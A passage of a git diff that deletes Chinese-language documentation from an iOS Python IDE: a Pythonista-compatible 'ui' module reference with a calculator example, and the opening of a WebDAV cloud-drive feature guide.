delegate,确认实现了正确的方法名(如 `scrollview_did_scroll`) - -### present 后白屏或崩溃 - -- 确保根视图有合理的 `frame`(宽高大于 0) -- 避免在 sheet 内再次 present 造成嵌套问题 - -### load_view 解析失败 - -- 确认文件格式为有效 JSON 或 plist -- frame 使用 `{{x,y},{w,h}}` 格式 -- 复杂嵌套或自定义类可能不完全支持 - -### 绘图不显示 - -- 自定义 View 需调用 `set_needs_display()` 触起重绘 -- `ImageContext.get_image()` 需在 `with` 块内调用 - ---- - -*文档版本:2026-03 · 适用于 Python IDE iOS 应用* diff --git a/docs/ui-module.md b/docs/ui-module.md deleted file mode 100644 index c1f2c66..0000000 --- a/docs/ui-module.md +++ /dev/null @@ -1,755 +0,0 @@ -# ui 模块 — 原生 iOS 界面 - -> **Pythonista 兼容的 `ui` 模块**:在 Python 中搭建 **UIKit 原生控件**,用于按钮、列表、网页、手势与自定义绘图等场景。 -> **坐标系**:左上角为原点 `(0, 0)`,`x` 向右增大,`y` **向下**增大(与 `scene` 模块的数学坐标相反)。 - ---- - -## 目录 - -1. [控件与类型参考(30+)](#控件与类型参考30)(含 ProgressView、Stepper) -2. [手势识别器](#手势识别器) -3. [自定义绘图](#自定义绘图)(含 `Path.copy` / `hit_test` / `get_bounding_box`) -4. [`Image` 类](#image-类)(含 `crop` / `clip_to_mask` / `from_image_context`) -5. [模块级函数](#模块级函数)(含 `begin/end_image_context`) -6. [常量](#常量) -7. [`flex` 自适应布局](#flex-自适应布局) -8. [完整示例](#完整示例) -9. [注意事项](#注意事项) - ---- - -## 控件与类型参考(30+) - -下列类型共同构成与 **Pythonista** 风格一致的 API。构造时普遍支持 `frame=(x, y, w, h)` 以及 `**kwargs` 批量设置属性。 - -### 1. `View` — 基类 - -**构造**:`ui.View(frame=None, **kwargs)` -所有可视控件均继承自 `View`。 - -| 类别 | 名称 | 说明 | -|------|------|------| -| **几何** | `frame` | `(x, y, width, height)`,相对父视图 | -| | `bounds` | 自身坐标系下的矩形,常为 `(0, 0, w, h)` | -| | `center` | 中心点在父视图坐标系中的 `(cx, cy)` | -| | `x`, `y`, `width`, `height` | `frame` 的分量读写 | -| **外观** | `background_color` | 背景色(见[注意事项](#注意事项)) | -| | `tint_color` | 着色(影响模板图、部分控件强调色) | -| | `alpha` | `0.0`–`1.0` 不透明度 | -| | `hidden` | 是否隐藏 | -| | `corner_radius` | 圆角半径 | -| | `border_width`, `border_color` | 边框 | -| | `content_mode` | 内容缩放/对齐,见 [常量 · 内容模式](#内容模式-content_mode) | -| | `clips_to_bounds` | 是否裁剪子视图到边界 | -| **无障碍** | `accessibility_label` | 无障碍标签(VoiceOver 朗读) | -| | `accessibility_value` | 无障碍值 | -| | `accessibility_hint` | 无障碍提示 | -| **交互** | `user_interaction_enabled` | 是否响应触摸(部分环境亦提供别名 `touch_enabled`) | -| | `multiple_touch_enabled` | 是否允许多指(别名 `multitouch_enabled`) | -| **其它** | `name` | 名称,便于 `load_view` 与子视图查找 | -| | `flex` | 自适应布局字符串,见 [`flex` 一节](#flex-自适应布局) | -| | `transform` | 2D 仿射变换(`ui.Transform`) | -| | `superview` | 父视图(只读) | -| | `subviews` | 子视图序列(只读) | -| **导航** | `title` | `present` 时导航栏标题(常用) | -| | `left_button_items` / `right_button_items` | 导航栏按钮项(`ui.ButtonItem` 列表) | - -**方法** - -| 方法 | 说明 | -|------|------| -| `add_subview(view)` | 添加子视图 | -| `remove_subview(view)` | 移除指定子视图 | -| `remove_from_superview()` | 从父视图移除自身 | -| `bring_to_front()` / `send_to_back()` | 调整绘制顺序 | -| `bring_subview_to_front(subview)` / `send_subview_to_back(subview)` | 调整指定子视图层级 | -| `set_needs_display()` | 请求重绘(配合 `draw`) | -| `set_needs_layout()` / `update_layout()` | 请求布局更新 | -| `size_to_fit()` | 按内容收缩尺寸 | -| `point_from_window(point)` / `point_to_window(point)` | 窗口坐标与视图坐标互转 | -| `layout()` | 布局更新时调用;可子类重写以自定义布局 | -| `present(style, animated=True, hide_title_bar=False, **kwargs)` | 模态展示。`style`:`'sheet'`、`'fullscreen'` / `'full_screen'`、`'popover'`、`'panel'` 等 | -| `close()` | 关闭当前展示 | -| `wait_modal()` | 阻塞直至界面关闭(常用于全屏流程) | -| `add_gesture_recognizer(gr)` | 添加手势 | -| `remove_gesture_recognizer(gr)` | 移除手势(Pythonista 标准 API) | - -**回调(可重写)** - -| 回调 | 说明 | -|------|------| -| `draw(self, rect)` | 自定义绘制;`rect` 为需更新的区域(元组或矩形) | -| `layout(self)` | `bounds` 变化后的布局 | -| `keyboard_frame_did_change(self, frame)` | 键盘显示/隐藏时调用 | -| `touch_began` / `touch_moved` / `touch_ended` | 触摸生命周期(若启用) | -| `will_close(self)` | 即将关闭时 | - ---- - -### 2. `Button` — `ui.Button()` - -**构造**:`ui.Button(frame=None, title='', **kwargs)` - -| 属性 | 说明 | -|------|------| -| `title` | 标题文案 | -| `font` | `('字体名', 字号)` 或 `ui.Font` | -| `image` | `ui.Image`,前景图 | -| `background_image` | `ui.Image`,背景图 | -| `tint_color` | 着色 | -| `title_color` | 标题颜色(扩展) | -| `enabled` | 是否可用 | - -**回调**:`action` — 可调用对象,`action(sender)`,`sender` 一般为按钮自身。 - ---- - -### 3. `Label` — `ui.Label()` - -**构造**:`ui.Label(frame=None, text='', **kwargs)` - -| 属性 | 说明 | -|------|------| -| `text` | 文本 | -| `text_color` | 颜色 | -| `font` | `('字体名', 字号)` | -| `alignment` | `ui.ALIGN_LEFT` / `ALIGN_CENTER` / `ALIGN_RIGHT` 等 | -| `number_of_lines` | 行数;`0` 表示不限制 | -| `line_break_mode` | `ui.LB_*`,换行与截断 | -| `adjusts_font_size_to_fit_width` | 是否自动缩小字体以适配宽度 | -| `minimum_scale_factor` | 最小缩放比例(相对字体) | - -> 部分实现中对应别名为 `scales_font`、`min_font_scale`,语义与上表一致。 - ---- - -### 4. `TextField` — `ui.TextField()` - -**构造**:`ui.TextField(frame=None, text='', placeholder='', **kwargs)` - -| 属性 | 说明 | -|------|------| -| `text` | 当前文本 | -| `placeholder` | 占位提示 | -| `text_color` | 文本颜色 | -| `font` | 字体元组或 `ui.Font` | -| `alignment` | 水平对齐 | -| `secure_text_entry` | 密码遮蔽(Pythonista 名;亦常见别名 `secure`) | -| `keyboard_type` | 见 [键盘类型](#键盘类型-keyboard_type) | -| `autocorrection_type` | 自动更正(`0` 默认 / `1` 关闭 / `2` 开启) | -| `autocapitalization_type` | 自动大写(`0` 无 / `1` 单词 / `2` 句子 / `3` 全部) | -| `spellchecking_type` | 拼写检查(`0` 默认 / `1` 关闭 / `2` 开启) | -| `clear_button_mode` | 清除按钮出现时机(`0` 不显示 / `1` 编辑时 / `2` 非编辑时 / `3` 始终) | -| `return_key_type` | 回车键类型(`0` 默认 / `4` Search / `6` Send / `9` Done 等) | -| `enabled` | 是否可编辑 | -| `bordered` | 是否显示边框样式 | - -**回调** - -- `action`:编辑结束或按下回车等(依平台行为)。 -- `began_editing`:开始编辑时回调 `began_editing(sender)`。 -- `ended_editing`:结束编辑时回调 `ended_editing(sender)`。 -- `delegate`:对象实现 `textfield_*` 系列方法(如 `textfield_should_begin_editing`、`textfield_did_change` 等)。 - ---- - -### 5. `TextView` — `ui.TextView()` - -**构造**:`ui.TextView(frame=None, text='', **kwargs)` - -| 属性 | 说明 | -|------|------| -| `text` | 全文 | -| `text_color` | 颜色 | -| `font` | 字体 | -| `alignment` | 对齐 | -| `editable` | 是否可编辑 | -| `selectable` | 是否可选择 | -| `alignment` | 文本对齐 `ui.ALIGN_*` | -| `selected_range` | 选中范围 `(start, length)` | -| `content_size` | 只读,内容尺寸 `(w, h)` | -| `content_offset` | 滚动偏移 `(x, y)` | -| `auto_content_inset` | 是否自动调整内容边距(随安全区/键盘) | - -**回调** - -- `delegate` — 如 `textview_did_begin_editing`、`textview_did_change`、`textview_did_end_editing` 等。 -- `began_editing`:开始编辑时回调 `began_editing(sender)`。 -- `ended_editing`:结束编辑时回调 `ended_editing(sender)`。 - ---- - -### 6. `ImageView` — `ui.ImageView()` - -**构造**:`ui.ImageView(frame=None, **kwargs)` - -| 属性 | 说明 | -|------|------| -| `image` | `ui.Image` 实例 | -| `content_mode` | 与 `View` 相同常量族 | - -**方法**:`load_from_url(url)` — 异步从网络加载图片(具体行为依赖实现)。 - ---- - -### 7. `ScrollView` — `ui.ScrollView()` - -| 属性 | 说明 | -|------|------| -| `content_size` | 内容尺寸 `(w, h)` | -| `content_offset` | 可见区域偏移 `(x, y)` | -| `content_inset` | 内边距,常为 `(top, left, bottom, right)` | -| `bounces` | 边界弹性滚动 | -| `paging_enabled` | 是否按页对齐 | -| `scroll_enabled` | 是否允许滚动 | -| `always_bounce_vertical` / `always_bounce_horizontal` | 内容不足时是否仍可弹性 | -| `shows_vertical_scroll_indicator` / `shows_horizontal_scroll_indicator` | 是否显示滚动条 | -| `zoom_scale` | 当前缩放比例 | -| `min_zoom_scale` / `max_zoom_scale` | 最小/最大缩放比例 | - -**方法**:`scroll_to(x, y, animated=True)` — 滚动到指定偏移。 - -**回调**:`delegate` — 如 `scrollview_did_scroll` 等。 - ---- - -### 8. `TableView` — `ui.TableView()` - -| 属性 | 说明 | -|------|------| -| `data_source` | 实现数据源协议的对象,或简单列表数据(依实现) | -| `delegate` | 选中、编辑等回调 | -| `row_height` | 默认行高 | -| `editing` | 是否处于编辑模式 | -| `selected_row` | 当前选中行(元组或索引,依实现) | -| `separator_color` | 分隔线颜色 | -| `allows_selection` | 是否允许选中 | -| `allows_multiple_selection` | 是否允许多选 | -| `delete_enabled` | 是否允许左滑删除 | -| `move_enabled` | 是否允许拖拽排序 | - -**方法** - -| 方法 | 说明 | -|------|------| -| `reload()` | 刷新数据(Pythonista 名) | -| `reload_data()` | 同上(常见别名) | -| `delete_rows(rows)` | 删除指定行 | - -**数据源(典型方法名)** - -- `tableview_number_of_sections(tableview) -> int` -- `tableview_number_of_rows(tableview, section) -> int` -- `tableview_cell_for_row(tableview, section, row) -> TableViewCell` -- `tableview_title_for_header` / `footer`(可选) - -**代理(典型)** - -- `tableview_did_select(tableview, section, row)` -- `tableview_can_delete(tableview, section, row) -> bool` -- `tableview_delete(tableview, section, row)` - -辅助类:`ui.ListDataSource`、`ui.TableViewCell`。 - ---- - -### 9. `WebView` — `ui.WebView()` - -**方法** - -| 方法 | 说明 | -|------|------| -| `load_url(url)` | 加载 URL | -| `load_html(html, base_url=None)` | 加载 HTML 字符串 | -| `go_back()` / `go_forward()` | 历史前进后退 | -| `reload()` / `stop()` | 刷新 / 停止 | -| `eval_js(script)` | 同步执行 JS(若环境支持) | -| `eval_js_async(script, callback)` | 异步执行,结果回调;部分实现合并为 `eval_js(script, callback=...)` | - -**回调**:`delegate` — 加载开始/结束、错误等(依平台)。 - ---- - -### 10. `NavigationView` — `ui.NavigationView(root_view)` - -**构造**:`ui.NavigationView(root)`,`root` 为根 `View`。 - -**方法** - -| 方法 | 说明 | -|------|------| -| `push_view(view, animated=True)` | 压入新页面 | -| `pop_view(animated=True)` | 弹出当前页 | - -常见样式属性:`navigation_bar_hidden`、`bar_tint_color`、`title_color`。 - ---- - -### 11. `Switch` — `ui.Switch()` - -| 属性 | 说明 | -|------|------| -| `value` | `bool`,开关状态 | -| `enabled` | 是否可操作 | - -**回调**:`action(sender)`。 - ---- - -### 12. `Slider` — `ui.Slider()` - -| 属性 | 说明 | -|------|------| -| `value` | `0.0`–`1.0`(Pythonista 常用归一化区间;亦可能有 `min`/`max` 扩展) | -| `continuous` | 拖动过程是否连续触发 `action` | - -**回调**:`action(sender)`。 - ---- - -### 13. `SegmentedControl` — `ui.SegmentedControl()` - -| 属性 | 说明 | -|------|------| -| `segments` | 字符串列表 | -| `selected_index` | 当前选中下标 | - -**回调**:`action(sender)`。 - ---- - -### 14. `DatePicker` — `ui.DatePicker()` - -| 属性 | 说明 | -|------|------| -| `date` | `datetime.datetime` | -| `mode` | `ui.DATE_PICKER_MODE_DATE` / `TIME` / `DATE_AND_TIME` / `COUNT_DOWN`(或 `COUNTDOWN`,依常量命名) | -| `enabled` | 是否可用 | - -**回调**:`action(sender)`。 - ---- - -### 15. `ActivityIndicator` — `ui.ActivityIndicator()` - -| 属性 | 说明 | -|------|------| -| `animating` | 是否正在旋转 | -| `style` | `ui.ACTIVITY_INDICATOR_STYLE_*` | -| `hides_when_stopped` | 停止时是否隐藏 | - -**方法**:`start()` / `stop()`(别名 `start_animating` / `stop_animating`)。 - ---- - -### 16. `ProgressView` — `ui.ProgressView()` - -| 属性 | 说明 | -|------|------| -| `progress` | `0.0`–`1.0`,当前进度 | -| `progress_tint_color` | 已完成部分颜色 | -| `track_tint_color` | 未完成部分(轨道)颜色 | - ---- - -### 17. `Stepper` — `ui.Stepper()` - -| 属性 | 说明 | -|------|------| -| `value` | 当前数值(`float`) | -| `minimum_value` | 最小值(默认 `0`) | -| `maximum_value` | 最大值(默认 `100`) | -| `step_value` | 步进值(默认 `1`) | -| `continuous` | 长按是否连续变化 | -| `wraps` | 超出范围时是否循环 | -| `tint_color` | 着色 | -| `enabled` | 是否可用 | - -**回调**:`action(sender)`,`sender.value` 可取当前值。 - ---- - -### 18–30+. 其它常用类型(几何、导航、手势、绘图) - -| 类型 | 作用 | -|------|------| -| `ui.Color` | RGBA 颜色封装 | -| `ui.Point` | 点 `(x, y)` | -| `ui.Size` | 尺寸 `(w, h)` | -| `ui.Rect` | 矩形与基础几何运算 | -| `ui.Transform` | 旋转、缩放、平移与矩阵运算 | -| `ui.Touch` | 触摸信息(位置、阶段等) | -| `ui.Font` | 字体;类方法如 `system_font_of_size` | -| `ui.ButtonItem` | 导航栏按钮项:`title`、`image`、`action` | -| `ui.GestureSender` | 手势回调中的 `sender` 信息 | -| `ui.TableViewCell` | 表格行单元格容器 | -| `ui.ListDataSource` | 表格数据源基类 | -| `ui.ProgressView` | 线性进度条(0–1 进度) | -| `ui.Stepper` | 步进器(+/- 按钮,可设范围与步长) | -| `ui.CanvasView` | 通过 `render(draw_func)` 将绘图结果呈现为位图贴图 | -| `ui.Path` | 矢量路径绘制(含 `copy`、`hit_test`、`get_bounding_box`) | -| `ui.GState` | `with ui.GState():` 保存/恢复绘图状态 | -| `ui.ImageContext` | 离屏位图上下文 | -| `ui.Image` | 位图对象 | - ---- - -## 手势识别器 - -### 工厂形式(概念 API) - -`ui.GestureRecognizer(type)`:`type` 可取 `'tap'`、`'pan'`、`'swipe'`、`'pinch'`、`'rotation'`、`'longpress'`、`'screenedge'` 等,返回配置好的识别器(具体以运行环境为准)。 - -### 具名子类(推荐) - -| 类 | 说明 | -|----|------| -| `ui.TapGestureRecognizer` | 点击 | -| `ui.PanGestureRecognizer` | 拖动 | -| `ui.PinchGestureRecognizer` | 捏合缩放 | -| `ui.SwipeGestureRecognizer` | 轻扫;属性 `direction` | -| `ui.LongPressGestureRecognizer` | 长按;`minimum_press_duration` | - -**通用属性** - -- `enabled` -- `number_of_touches_required` -- `number_of_taps_required`(Tap) -- `action` — `action(sender)`,`sender` 为 `GestureSender`(含 `view`、`location`、`translation`、`scale` 等) - -**挂载到视图** - -```python -gr = ui.TapGestureRecognizer() -gr.action = lambda s: print(s.location) -view.add_gesture_recognizer(gr) -view.remove_gesture_recognizer(gr) -``` - ---- - -## 自定义绘图 - -重写 `View.draw(self, rect)`,在系统调用时完成绘制;属性变化后需 `set_needs_display()` 触发刷新。 - -### `ui.Path()` - -| 方法 | 说明 | -|------|------| -| `move_to(x, y)` / `line_to(x, y)` | 路径移动与线段 | -| `curve_to(cp1x, cp1y, cp2x, cp2y, x, y)` | 三次贝塞尔到 `(x,y)`(部分实现为 `add_curve`) | -| `add_arc(cx, cy, r, start, end, clockwise=True)` | 圆弧 | -| `add_rect(x, y, w, h)` | 矩形子路径 | -| `add_oval(x, y, w, h)` | 椭圆子路径(内接于给定矩形) | -| `add_rounded_rect(x, y, w, h, r)` | 圆角矩形;或类方法 `Path.rounded_rect(...)` | -| `close()` | 闭合子路径 | -| `fill()` / `stroke()` | 填充 / 描边 | -| `set_line_width(w)` | 线宽 | -| `copy()` | 返回路径的深拷贝 | -| `hit_test(x, y)` | 判断点是否在路径内部,返回 `bool` | -| `get_bounding_box()` | 返回路径外接矩形 `(x, y, w, h)` | -| `eo_fill_rule` | 奇偶填充规则(属性) | - -### 全局绘图状态 - -| 函数 / 上下文 | 说明 | -|---------------|------| -| `ui.set_color(color)` | 当前填充/描边颜色 | -| `ui.concat_ctm(transform)` | 乘以当前变换矩阵(与 `Transform` 配合) | -| `ui.set_shadow(color, dx, dy, radius)` | 阴影 | -| `ui.fill_rect` / `ui.stroke_rect` | 矩形快捷绘制 | -| `ui.draw_string(text, rect, font, color, alignment, line_break_mode)` | 文本绘制 | -| `with ui.GState():` | 保存/恢复图层状态 | - -### 离屏图像 - -**方式一:上下文管理器(推荐)** - -```python -with ui.ImageContext(width, height) as ctx: - ui.set_color('blue') - ui.fill_rect(0, 0, width, height) - img = ctx.get_image() # ui.Image -``` - -**方式二:函数式 API** - -```python -ui.begin_image_context(width, height, scale=0) -ui.set_color('red') -ui.fill_rect(0, 0, width, height) -img = ui.get_image_from_current_context() # ui.Image -ui.end_image_context() -``` - -两种方式等价,均可配合 `ui.set_color`、`ui.fill_rect`、`ui.Path` 等绘图函数使用。 - ---- - -## `Image` 类 - -| 入口 | 说明 | -|------|------| -| `ui.Image.named(name)` | 内置或捆绑资源名 | -| `ui.Image.from_data(data)` | 自字节加载 | -| `ui.Image.from_image_context()` | 获取当前离屏上下文的 Image | -| `ui.Image(name)` | 常见等价于 `Image.named(name)` | - -| 属性 / 方法 | 说明 | -|-------------|------| -| `size` | `Size(w, h)` | -| `to_png()` | `bytes` | -| `with_rendering_mode(mode)` | 模板/原色渲染模式 | -| `resized(size)` | 缩放副本 | -| `cropped(rect)` | 裁剪副本 | -| `crop(rect)` | 裁剪副本(rect 为 `(x, y, w, h)` 元组),原生实现,支持 Pillow 回退 | -| `clip_to_mask(mask)` | 使用另一个 Image 的 alpha 通道裁剪,返回新 Image | - ---- - -## 模块级函数 - -| 函数 | 说明 | -|------|------| -| `ui.load_view(pyui_file)` | 从 `.pyui`(JSON/plist)加载界面树,返回根 `View` | -| `ui.load_view_str(json_str, ...)` | 自字符串加载(扩展) | -| `ui.delay(seconds, func)` | 延迟执行;**Pythonista 参数顺序为(秒数,函数)** | -| `ui.cancel_delays()` | 取消尚未执行的 `delay` | -| `ui.in_background(fn)` | 装饰器:在后台线程运行函数 | -| `ui.animate(animation, duration=0.25, delay=0, completion=None)` | 动画块调度(属性插值能力依实现而定) | -| `ui.get_screen_size()` | `(w, h)` | -| `ui.get_window_size()` | `(w, h)` 或 `Size` | -| `ui.parse_color(color_str)` | 归一化 `(r, g, b, a)`,`0.0`–`1.0` | -| `ui.convert_rect(rect, from_view, to_view)` | 坐标转换;返回 `Rect` 或 `(x, y, w, h)` | -| `ui.measure_string(text, max_width, font, ...)` | 文本测量 | -| `ui.begin_image_context(w, h, scale=0)` | 开始离屏绘图上下文(与 `ImageContext` 等价的函数式 API) | -| `ui.end_image_context()` | 结束并关闭当前离屏上下文 | -| `ui.get_image_from_current_context()` | 从当前离屏上下文获取 `ui.Image` | -| `ui.close_all(animated=False)` | 关闭全部已展示 UI(扩展) | -| `ui.dump_view(view)` | 打印视图树(调试) | - ---- - -## 常量 - -### 对齐 `alignment` - -| 常量 | 值 | -|------|-----| -| `ALIGN_LEFT` | 0 | -| `ALIGN_CENTER` | 1 | -| `ALIGN_RIGHT` | 2 | -| `ALIGN_JUSTIFIED` | 3 | -| `ALIGN_NATURAL` | 4 | - -### 内容模式 `content_mode` - -| 常量 | 值 | -|------|-----| -| `CONTENT_SCALE_TO_FILL` | 0 | -| `CONTENT_SCALE_ASPECT_FIT` | 1 | -| `CONTENT_SCALE_ASPECT_FILL` | 2 | -| `CONTENT_CENTER` | 3(部分实现中 `CONTENT_REDRAW` 等为 3,`CENTER` 为 4,以模块导出为准) | -| … | 另有 `CONTENT_TOP`、`BOTTOM`、`LEFT`、`RIGHT`、角点组合等 | - -### 键盘类型 `keyboard_type` - -| 常量 | 值 | -|------|-----| -| `KEYBOARD_DEFAULT` | 0 | -| `KEYBOARD_ASCII` | 1 | -| `KEYBOARD_NUMBERS_AND_PUNCTUATION` | 2(部分实现名为 `KEYBOARD_NUMBERS`) | -| `KEYBOARD_URL` | 3 | -| `KEYBOARD_NUMBER_PAD` | 4 | -| `KEYBOARD_PHONE_PAD` | 5 | -| `KEYBOARD_EMAIL` | 7 | -| `KEYBOARD_DECIMAL_PAD` | 8 | - -### 日期选择器 `DatePicker.mode` - -| 常量 | 值 | -|------|-----| -| `DATE_PICKER_MODE_TIME` | 0 | -| `DATE_PICKER_MODE_DATE` | 1 | -| `DATE_PICKER_MODE_DATE_AND_TIME` | 2 | -| `DATE_PICKER_MODE_COUNT_DOWN` | 3(亦可能导出为 `DATE_PICKER_MODE_COUNTDOWN`) | - -### 换行与截断 `line_break_mode` - -| 常量 | 值 | -|------|-----| -| `LB_WORD_WRAP` | 0 | -| `LB_CHAR_WRAP` | 1 | -| `LB_CLIP` | 2 | -| `LB_TRUNCATE_HEAD` | 3 | -| `LB_TRUNCATE_TAIL` | 4 | -| `LB_TRUNCATE_MIDDLE` | 5 | - -### 活动指示器 `ActivityIndicator.style` - -| 常量 | 说明 | -|------|------| -| `ACTIVITY_INDICATOR_STYLE_GRAY` | 灰色小菊花 | -| `ACTIVITY_INDICATOR_STYLE_WHITE` | 白色 | -| `ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` | 大号白色 | - ---- - -## `flex` 自适应布局 - -`flex` 为字符串,每个字符表示在父视图尺寸变化时哪一侧或哪一维可伸缩: - -| 字符 | 含义 | -|------|------| -| `L` | 左边距弹性 | -| `R` | 右边距弹性 | -| `T` | 上边距弹性 | -| `B` | 下边距弹性 | -| `W` | 宽度弹性 | -| `H` | 高度弹性 | - -示例: - -```python -v.flex = 'LRTBWH' # 四边距与宽高均可变 → 充满父视图 -v.flex = 'WH' # 仅宽高随父视图变,位置由 frame 决定 -``` - ---- - -## 完整示例 - -下面是一个**简易计算器**(连续加法 + 清除 + 小数点),演示 `View` / `Button` / `Label` / `present` 的典型用法。 - -```python -import ui - -def calc_main(): - root = ui.View() - root.background_color = '#1c1c1e' - sw, sh = ui.get_screen_size() - root.frame = (0, 0, sw, sh) - - display = ui.Label() - display.text = '0' - display.text_color = 'white' - display.font = ('Helvetica', 36) - display.alignment = ui.ALIGN_RIGHT - display.background_color = '#2c2c2e' - display.frame = (16, 60, sw - 32, 72) - root.add_subview(display) - - grid = ui.View() - grid.frame = (16, 148, sw - 32, sh - 164) - root.add_subview(grid) - - cur = ['0'] # 当前输入字符串 - acc = [None] # 暂存左操作数 - pending = [None] # 待执行:'+' 等 - - def show(): - display.text = cur[0] - - def on_digit(sender): - d = sender.title - if d == '.' and '.' in cur[0]: - return - if cur[0] == '0' and d != '.': - cur[0] = d - else: - cur[0] += d - show() - - def on_clear(sender): - cur[0] = '0' - acc[0] = None - pending[0] = None - show() - - def on_plus(sender): - v = float(cur[0]) - if acc[0] is None: - acc[0] = v - elif pending[0] == '+': - acc[0] = acc[0] + v - cur[0] = '0' - pending[0] = '+' - show() - - def on_eq(sender): - if acc[0] is not None and pending[0] == '+': - acc[0] = acc[0] + float(cur[0]) - x = acc[0] - cur[0] = str(int(x) if x == int(x) else round(x, 8)) - acc[0] = None - pending[0] = None - show() - - rows, cols = 5, 4 - gap = 8.0 - gw, gh = grid.frame[2], grid.frame[3] - cw = (gw - gap * (cols - 1)) / cols - ch = (gh - gap * (rows - 1)) / rows - - def add_button(title, r, c, colspan=1, action=None): - b = ui.Button() - b.title = title - b.font = ('Helvetica', 22) - b.background_color = '#3a3a3c' - b.tint_color = 'white' - w = cw * colspan + gap * (colspan - 1) - x = c * (cw + gap) - y = r * (ch + gap) - b.frame = (x, y, w, ch) - b.action = action - grid.add_subview(b) - - add_button('C', 0, 0, action=on_clear) - add_button('/', 0, 1, action=lambda s: None) # 占位 - add_button('*', 0, 2, action=lambda s: None) - add_button('-', 0, 3, action=lambda s: None) - - add_button('7', 1, 0, action=on_digit) - add_button('8', 1, 1, action=on_digit) - add_button('9', 1, 2, action=on_digit) - add_button('+', 1, 3, action=on_plus) - - add_button('4', 2, 0, action=on_digit) - add_button('5', 2, 1, action=on_digit) - add_button('6', 2, 2, action=on_digit) - add_button('+', 2, 3, action=on_plus) - - add_button('1', 3, 0, action=on_digit) - add_button('2', 3, 1, action=on_digit) - add_button('3', 3, 2, action=on_digit) - add_button('=', 3, 3, action=on_eq) - - add_button('0', 4, 0, colspan=2, action=on_digit) - add_button('.', 4, 2, action=on_digit) - add_button('=', 4, 3, action=on_eq) - - root.present('sheet') - # 全屏可改用 'fullscreen';若要阻塞到关闭可调用 root.wait_modal() - -if __name__ == '__main__': - calc_main() -``` - -**任务列表示例思路**:用 `ui.TableView` + `ListDataSource`,在 `tableview_cell_for_row` 里返回带 `Label` 的 `TableViewCell`,`tableview_did_select` 中切换勾选或进入详情页。 - ---- - -## 注意事项 - -1. **坐标系**:原点**左上**,**y 向下**;与 `scene`(左下原点、y 向上)不同,混用时需自行换算。 -2. **`present`**:在 `'fullscreen'` / `'full_screen'` 模式下,脚本常表现为阻塞直至用户关闭;`sheet` / `popover` 多为非阻塞,可配合 `wait_modal()`。 -3. **颜色**:支持颜色名字符串(如 `'red'`)、十六进制 `'#FF0000'` / `'#F00'`、RGBA 元组 `(r, g, b)` 或 `(r, g, b, a)`(一般为 `0.0`–`1.0`);可用 `ui.parse_color` 预览解析结果。 -4. **`draw`**:由系统在适当时机调用;逻辑更新后请调用 `set_needs_display()` 请求重绘。 -5. **线程安全**:**触摸、改 UI 属性、创建控件**等应在**主线程**执行;耗时计算请放在后台(如 `ui.in_background`),再回到主线程更新界面(需依具体运行环境提供的 `on_main_thread` 或等价机制)。 -6. **标题与 `present`**:常见写法是先设置 `root.title = '我的界面'`,再 `present(...)`;亦可通过 `present` 的相关参数扩展(依实现而定)。 -7. **版本差异**:本文件以 **Pythonista 公开 API** 为主整理;在 **Python IDE** 等嵌入环境中,个别常量名、别名(如 `touch_enabled` 与 `user_interaction_enabled`)、`TableView.reload_data` 与 `reload`、`animate` 是否真实插值动画等,可能与官方 Pythonista 略有差异,以当前打包的 `ui` 模块为准。 - ---- - -*文档版本:v2.0 — 全面更新,新增 `ProgressView`、`Stepper`、`TextField` / `TextView` 扩展属性与回调、`ScrollView` 缩放属性、`TableView` 编辑属性、`Path.copy / hit_test / get_bounding_box`、`Image.crop / clip_to_mask`、`begin_image_context / end_image_context / get_image_from_current_context` 等。与项目 `ui` 模块(Pythonista 兼容层)对照整理,便于脚本编写与 AI 辅助开发引用。* diff --git a/docs/webdav-module.md b/docs/webdav-module.md deleted file mode 100644 index 17fb56b..0000000 --- a/docs/webdav-module.md +++ /dev/null @@ -1,202 +0,0 @@ -# WebDAV 云盘功能说明 - -在 Python IDE 中通过 **WebDAV(Web Distributed Authoring and Versioning)** 协议连接坚果云、NextCloud、群晖 NAS 等兼容服务,在移动端**浏览、上传、下载、在线编辑**远程文件,并与本地工作区协同使用。 - ---- - -## Overview(概述) - -### WebDAV 是什么? - -WebDAV 是基于 HTTP/HTTPS 的扩展协议,客户端可对远程服务器执行 **PROPFIND、GET、PUT、MOVE、DELETE、MKCOL** 等操作,语义上接近「网盘上的文件系统」。多数个人云盘与企业 NAS 均提供 WebDAV 端点。 - -### 为什么在 IDE 里集成 WebDAV? - -| 场景 | 说明 | -|------|------| -| **跨设备同步** | 代码与笔记放在云端,手机、平板随时打开同一份目录 | -| **无需 SSH** | 没有 Linux 服务器时,仍可通过标准 WebDAV 访问文件 | -| **与本地工作区衔接** | 可将远程文件下载到工作区编辑,或上传本地文件到云端 | -| **在线改配置/脚本** | 对远程文本文件直接编辑,并具备 **ETag 冲突检测**,降低误覆盖风险 | - ---- - -## Adding a WebDAV Server(添加 WebDAV 服务器) - -### 入口 - -在首页 **「+」新建菜单** 中选择 **WebDAV**(或等价入口),进入服务器列表后添加新连接。 - -### 服务器模板 - -应用内置常用模板,可一键填入 **基础 URL、路径习惯、说明**,你只需补全账号、应用密码或令牌。 - -| 模板 | 典型用途 | 配置要点 | -|------|----------|----------| -| **坚果云 Jianguoyun** | 国内个人网盘 | 使用「第三方应用密码」,不要用登录密码;注意官方 **API 频率限制**(见下文) | -| **NextCloud** | 自建/托管协作云 | WebDAV 路径多为 `/remote.php/dav/files/<用户名>/`;HTTPS 推荐 | -| **群晖 Synology NAS** | 局域网或公网 NAS | 在 DSM 中启用 WebDAV;注意端口(HTTP/HTTPS)与 **QuickConnect** 或 DDNS 地址 | -| **Custom(自定义)** | 其它兼容服务 | 手动填写完整 **Base URL**(含 `https://`)、路径、用户名;端口非 443 时写在 URL 中 | - -### 自定义服务器示例 - -```text -# HTTPS 示例(端口 443 可省略) -https://dav.example.com/remote.php/dav/files/alice/ - -# 自签名证书时,可在连接选项中允许信任该证书(见 Security 一节) -https://192.168.1.100:5006/ -``` - -### 连接前检查清单 - -- [ ] URL 以 `https://` 或 `http://` 开头,无多余空格 -- [ ] 用户名、密码/应用密码正确(坚果云必须用应用密码) -- [ ] 防火墙 / 路由器已放行对应端口(自建 NAS 常见) -- [ ] 服务端 WebDAV 模块已开启 - ---- - -## Browsing Files and Directories(浏览文件与目录) - -| 能力 | 说明 | -|------|------| -| **面包屑导航** | 顶部路径可点击,快速回到上级或根目录 | -| **目录列表** | 展示文件与文件夹;加载过程中可使用 **骨架屏** 提示 | -| **搜索 / 过滤** | 在当前列表或路径范围内按名称过滤(具体范围以 App 版本为准) | -| **排序** | 